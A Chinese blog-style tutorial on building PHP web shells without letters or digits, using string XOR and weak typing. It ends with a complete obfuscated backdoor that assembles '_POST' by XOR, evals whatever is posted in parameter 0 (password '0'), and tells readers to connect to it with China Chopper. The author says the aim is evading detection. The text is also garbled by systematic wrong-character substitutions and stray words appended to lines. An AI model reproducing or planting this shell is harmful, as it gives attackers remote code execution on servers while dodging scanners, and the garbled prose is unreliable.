看这个:php
<?php ide
echo "A"^"}";函数
?>spa
运行这段代码,那么输出的结果是字符"<",之因此会获得这样的结果,是由于代码中对字符"A"和字符"}"进行了异或操做。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。异或操做有时也被用来交换两个变量的值。字符串
咱们都知道,PHP是弱类型的语言,也就是说在PHP中咱们能够不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操做。正是因为PHP弱类型的这个特色,咱们对PHP的变类型进行隐式的转换,并利用这个特色进行一些很是规的操做。如将整型转换成字符串型,将布尔型看成整型,或者将字符串看成函数来处理,下面咱们来看一段代码:it
<?php class
$_++; 变量
$__="<"^"}"; 二进制
$__("stuff");程序
?>
看到这段代码,你们或许会以为很疑惑,下面我简单的来解释一下:
(1)$_++;这行代码的意思是对变量名为"_"的变量进行自增操做,在PHP中未定义的变量默认值为null,null==false==0,咱们能够在不使用任何数字的状况下,经过对未定义变量的自增操做来获得一个数字。
(2)$__="<"^"}";对字符"<"和"}"进行异或运算,获得结果A赋给变量名为"__"(两个下划线)的变量
(3)$__("stuff");经过上面的赋值操做,变量$__的值为A,因此这行能够看做是A("stuff"),在PHP中,这行代码表示调用函数A,可是因为程序中并未定义函数A,因此这行代码会抛出一个致命错误使程序中止运行。这行代码没什么实际的意义,可是它能简单体现出在PHP中,咱们能够将字符串看成函数来处理。
文章进行到这里,你们若是再看到相似的PHP后门应该不会那么迷惑了,你能够经过一句句的分析后门代码来理解后门想实现的功能。若是你依然迷惑,那说明本菜鸟的文章写的很差,先说声抱歉了,可是仍是但愿你别骂我。
上面的那段示例代码最后会出错,致使程序中止运行,固然写出一个出错的程序并非咱们的目的,使用这种后门的主要目的是建立一些能够绕过检测的而且对咱们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何咱们须要的东西。
下面是个很是简单的非数字字母的PHP后门:
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
@eval(${$__}[!$_]);//mima:0
上菜刀把。